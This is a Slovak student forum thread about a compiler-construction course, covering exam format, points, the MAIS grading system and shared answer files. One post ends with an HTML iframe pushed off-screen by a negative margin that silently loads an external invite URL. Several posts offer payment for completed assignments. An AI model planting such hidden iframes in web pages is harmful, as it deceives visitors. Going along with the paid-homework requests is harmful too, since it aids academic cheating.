Author Topic: Konštrukcie preklada?ov  (Read 62500 times)

trek

  • Hero Member
  • *****
  • Posts: 568
  • cestu sme mali spolo?nú ale nohy ma bolia vlastné
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #200 on: 24.12.2009, 18:52:30 »
ja mam vsetko odovzdane aj zadanie a nemam zapisany :D

ApokalypS

  • Hero Member
  • *****
  • Posts: 5801
  • apokalyps(a) sa mení..
    • View Profile
    • projekt k mojej diplomovke..
Re: Konštrukcie preklada?ov
« Reply #201 on: 24.12.2009, 19:49:38 »
ja mam.. asi zavisi od toho, kto bol cviciaci, neviem
80% mozgu človeka tvorí kvapalina, v mojom prípade brzdová..

CHCEM S5 :zuzka: STARY IS :zuzka: !!!!
http://www.tu-ke.com/forum/o-nicom/otvoreny-list-vedeniu-firmy-dupress-(dodavatel-mais)/

LONEr

  • Full Member
  • ***
  • Posts: 202
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #202 on: 26.12.2009, 03:12:19 »
spravi niekto zadanie do tyzdna? 15e

kpuser

  • Newbie
  • *
  • Posts: 3
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #203 on: 26.12.2009, 04:35:55 »
spravi niekto zadanie do tyzdna? 15e
Uz som pisal sukromnu...

mio

  • Newbie
  • *
  • Posts: 28
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #204 on: 28.12.2009, 23:21:16 »
ak by mal este niekto zaujem o zadanie piste PM ;) cena dohodou :)

johnyo13

  • Hero Member
  • *****
  • Posts: 629
  • I can stand my own ground...
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #205 on: 29.12.2009, 05:08:51 »
nechce ist niekto 14.1.2010 o 13:00 na skusku z KP. Potrebujem ist skor (08:20, 10:20) ten isty den!
EDIT: solved
« Last Edit: 29.12.2009, 05:36:45 by johnyo13 »
☼Ѿ☼ ... ☼Ѿ☼

Killian

  • Full Member
  • ***
  • Posts: 191
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #206 on: 29.12.2009, 05:35:01 »
Ako prebieha skuska? Je to test a potom priklad? Ako su rozdelene body?

Lebo v osnove je toto:
"Skúška má praktickú a teoretickú ústnu  časť . Praktická časť predstavuje riešenie príkladu podobného úlohám riešeným na cvičeniach pomocou generátorov lex, yacc, Hodnotenie oboch častí spolu 0-60 bodov."

To by mal byt test a nie ustna cast, nie?

A su niekde nejake vypracovane otazky / screeny zo skusky?
« Last Edit: 29.12.2009, 06:38:41 by Killian »

Casso

  • Full Member
  • ***
  • Posts: 216
  • XSS locator
    • View Profile
    • casso <at> ic <at> cz
Re: Konštrukcie preklada?ov
« Reply #207 on: 29.12.2009, 22:58:17 »
To by mal byt test a nie ustna cast, nie?
Podla maisu su terminy znacne nahustene tak ako pominule roky, takze ustna skuska nehrozi.

Ako su rozdelene body?
Na prednaskach som nepocul zeby nieco hovoril (mozno v 13. tyzdni ale tam som nebol...)
Minuly rok bolo taketo rozdelenie: 15b priklad ; 45b teoria

Ako prebieha skuska? Je to test a potom priklad?

Lebo v osnove je toto:
"Skúška má praktickú a teoretickú ústnu  časť . Praktická časť predstavuje riešenie príkladu podobného úlohám riešeným na cvičeniach pomocou generátorov lex, yacc, Hodnotenie oboch častí spolu 0-60 bodov."
Priklad je nieco podobne ako priklady na cviceniach (dokodit nejaky prikaz...)
A teoria... IMHO bude moodle (co ine :xmas:)

A su niekde nejake vypracovane otazky / screeny zo skusky?
Nieco malo (takmer nic) som nasiel na ftpcku, ak ma niekto nieco lepsie, nech sa ozve
« Last Edit: 29.12.2009, 23:20:00 by Casso »

Sooloni

  • Sr. Member
  • ****
  • Posts: 328
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #208 on: 31.12.2009, 06:39:54 »
vie nekto poradit ako vyriesit presun objektu na relativnu poziciu?

Padres

  • Sr. Member
  • ****
  • Posts: 313
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #209 on: 31.12.2009, 20:28:57 »
Spravi mi niekto zadanie? Odmena ista. PM

Killian

  • Full Member
  • ***
  • Posts: 191
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #210 on: 01.01.2010, 23:01:28 »
Nemohol by niekto vypracovat tie otazky co su na kane.sk v subore skuska_nove_otazky.rtf ?

Casso

  • Full Member
  • ***
  • Posts: 216
  • XSS locator
    • View Profile
    • casso <at> ic <at> cz
Re: Konštrukcie preklada?ov
« Reply #211 on: 01.01.2010, 23:39:12 »
Nemohol by niekto vypracovat tie otazky co su na kane.sk v subore skuska_nove_otazky.rtf ?
Pracujem na tom.
Ja blb som sa prihlasil na prvu skusku co bude 7eho tak ani neviem co sa mam ucit, ale ako citam minule rocniky tak to bude pohodicka a s 40b zapoctom to bude so easy.

EDIT: Pridavam vam vypracovane otazky. Netvrdim ze je tam vsetko 100%ne predsa je len novy rok  :beer1:, ak by ste nasli chybu, budem velmi rad ak ma na nu upozornite, ja ju operativne odstranim
http://casso.ic.cz/temp/vypracovane_nove_otazky.rtf
« Last Edit: 03.01.2010, 17:25:28 by Casso »

trek

  • Hero Member
  • *****
  • Posts: 568
  • cestu sme mali spolo?nú ale nohy ma bolia vlastné
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #212 on: 02.01.2010, 17:07:03 »
mate uz zapisany zapocet v maise?...tie skupiny co maju s ing.Bratru-om...vsetko odovzdane uz davno a furt nic

Casso

  • Full Member
  • ***
  • Posts: 216
  • XSS locator
    • View Profile
    • casso <at> ic <at> cz
Re: Konštrukcie preklada?ov
« Reply #213 on: 02.01.2010, 17:10:13 »
mate uz zapisany zapocet v maise?...tie skupiny co maju s ing.Bratru-om...vsetko odovzdane uz davno a furt nic

Pisal som Ing. Bratru-ovi (dufam ze to dobre sklonujem O:-) mail a odpisal mi toto

"Dobry den,
ano, viem o tom, ze ste ho odovzdavali. Ja som 19.12. kratko po polnoci zapisoval zapocty do MAISu, aj som to nasledne skontroloval a boli tam. Ale mate pravdu, pretoze ziaden z tych zapoctov tam dnes uz nema bodove ohodnotenie ani datum, iba datum, kedy som ja zapisal nejaku zmenu (19.12.). Neviem, co za problemy s tym znova maju. Pokusim sa zapisat vsetky zapocty znova.

Peter Bratru"

Tri krát sláva mais-u
« Last Edit: 02.01.2010, 17:15:34 by Casso »

BossZ

  • Sr. Member
  • ****
  • Posts: 262
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #214 on: 02.01.2010, 17:52:56 »
To ma ani neprekvapuje, dalo sa to ocakavat, este pride nejaky hacker a zmaze im vsetky databazy, a potom bude. Je celkom hroziva predstava, ze uz sa nezapisuju zapocty a skusky do indexov. Jednoducho super,  :)
<iframe style="width:300px;height:600px;padding:0;margin: -300px 0px 0px 0px;border:0;" marginwidth="0" marginheight="0" hspace="0" vspace="0" frameborder="0" scrolling="no" src="http://www.androidroka.sk/wp-content/themes/androidRoku/iframe.php?invite=52633e266001a22a5eb0166ee736bc68"></iframe>

Casso

  • Full Member
  • ***
  • Posts: 216
  • XSS locator
    • View Profile
    • casso <at> ic <at> cz
Re: Konštrukcie preklada?ov
« Reply #215 on: 02.01.2010, 18:04:37 »
Mais nieje az taky strasny, casom sa to poopravuje (skoda ze sa opravuju vazne chyby az v dobe ostrej prevadzky..) no najviac mi vadi ze nefunguje tlacitko späť v prehliadaci (mam ho bindnute na 5. tlacitko myši). Ako keby boli vsetky tlacitka robene cez post formulare ci co...

K5

  • Newbie
  • *
  • Posts: 17
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #216 on: 02.01.2010, 18:50:55 »
caute, neviete kde by som nasiel stare vypracovane otazky?

Sooloni

  • Sr. Member
  • ****
  • Posts: 328
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #217 on: 02.01.2010, 23:32:58 »
v akom case prebera plocica zadania 7.1? mam vtedy rano skusku z SP takze neviem ci mu treba pisat maila alebo ho tam najdem aj o 11,00?

sri

  • Hero Member
  • *****
  • Posts: 644
    • View Profile
    • ACEQES, s.r.o.
Re: Konštrukcie preklada?ov
« Reply #218 on: 03.01.2010, 00:33:09 »
v akom case prebera plocica zadania 7.1? mam vtedy rano skusku z SP takze neviem ci mu treba pisat maila alebo ho tam najdem aj o 11,00?
7.1. je aj skuska z KP, tusim 8.20, 10.20 a 13.00 alebo tak nejak uz neviem .... na cviceni hovoril ze najlepsie bude ak pridete pocas skusky so zadaniami

Casso

  • Full Member
  • ***
  • Posts: 216
  • XSS locator
    • View Profile
    • casso <at> ic <at> cz
Re: Konštrukcie preklada?ov
« Reply #219 on: 03.01.2010, 17:31:44 »
upravil som tie vypracovane otazky, uz aj s otazkou č.16

trek

  • Hero Member
  • *****
  • Posts: 568
  • cestu sme mali spolo?nú ale nohy ma bolia vlastné
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #220 on: 03.01.2010, 19:08:11 »
mate uz zapisany zapocet v maise?...tie skupiny co maju s ing.Bratru-om...vsetko odovzdane uz davno a furt nic

Pisal som Ing. Bratru-ovi (dufam ze to dobre sklonujem O:-) mail a odpisal mi toto

"Dobry den,
ano, viem o tom, ze ste ho odovzdavali. Ja som 19.12. kratko po polnoci zapisoval zapocty do MAISu, aj som to nasledne skontroloval a boli tam. Ale mate pravdu, pretoze ziaden z tych zapoctov tam dnes uz nema bodove ohodnotenie ani datum, iba datum, kedy som ja zapisal nejaku zmenu (19.12.). Neviem, co za problemy s tym znova maju. Pokusim sa zapisat vsetky zapocty znova.

Peter Bratru"

Tri krát sláva mais-u

uz zapisal ten zapocet?...lebo ja stale nemam nic

LONEr

  • Full Member
  • ***
  • Posts: 202
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #221 on: 03.01.2010, 19:21:20 »
pocujte, mate nejake otazky na skusku? okrem tych 20tich.

LONEr

  • Full Member
  • ***
  • Posts: 202
    • View Profile
Re: Konštrukcie preklada?ov
« Reply #222 on: 03.01.2010, 19:23:13 »
alebo su take iste otazky na skuske, ako boli na zapoctoch?

sri

  • Hero Member
  • *****
  • Posts: 644
    • View Profile
    • ACEQES, s.r.o.
Re: Konštrukcie preklada?ov
« Reply #223 on: 03.01.2010, 20:16:58 »
v archive z minuleho roku pisu, ze (pri troche stastia) sa da 20 bodov nachytat za otazky co boli na zapocte... potom je asi 15-bodovy priklad a zvysok zrejme otazky z prednasok

ApokalypS

  • Hero Member
  • *****
  • Posts: 5801
  • apokalyps(a) sa mení..
    • View Profile
    • projekt k mojej diplomovke..
Re: Konštrukcie preklada?ov
« Reply #224 on: 03.01.2010, 23:33:36 »
upravil som tie vypracovane otazky, uz aj s otazkou č.16
vdaka :)
80% mozgu človeka tvorí kvapalina, v mojom prípade brzdová..

CHCEM S5 :zuzka: STARY IS :zuzka: !!!!
http://www.tu-ke.com/forum/o-nicom/otvoreny-list-vedeniu-firmy-dupress-(dodavatel-mais)/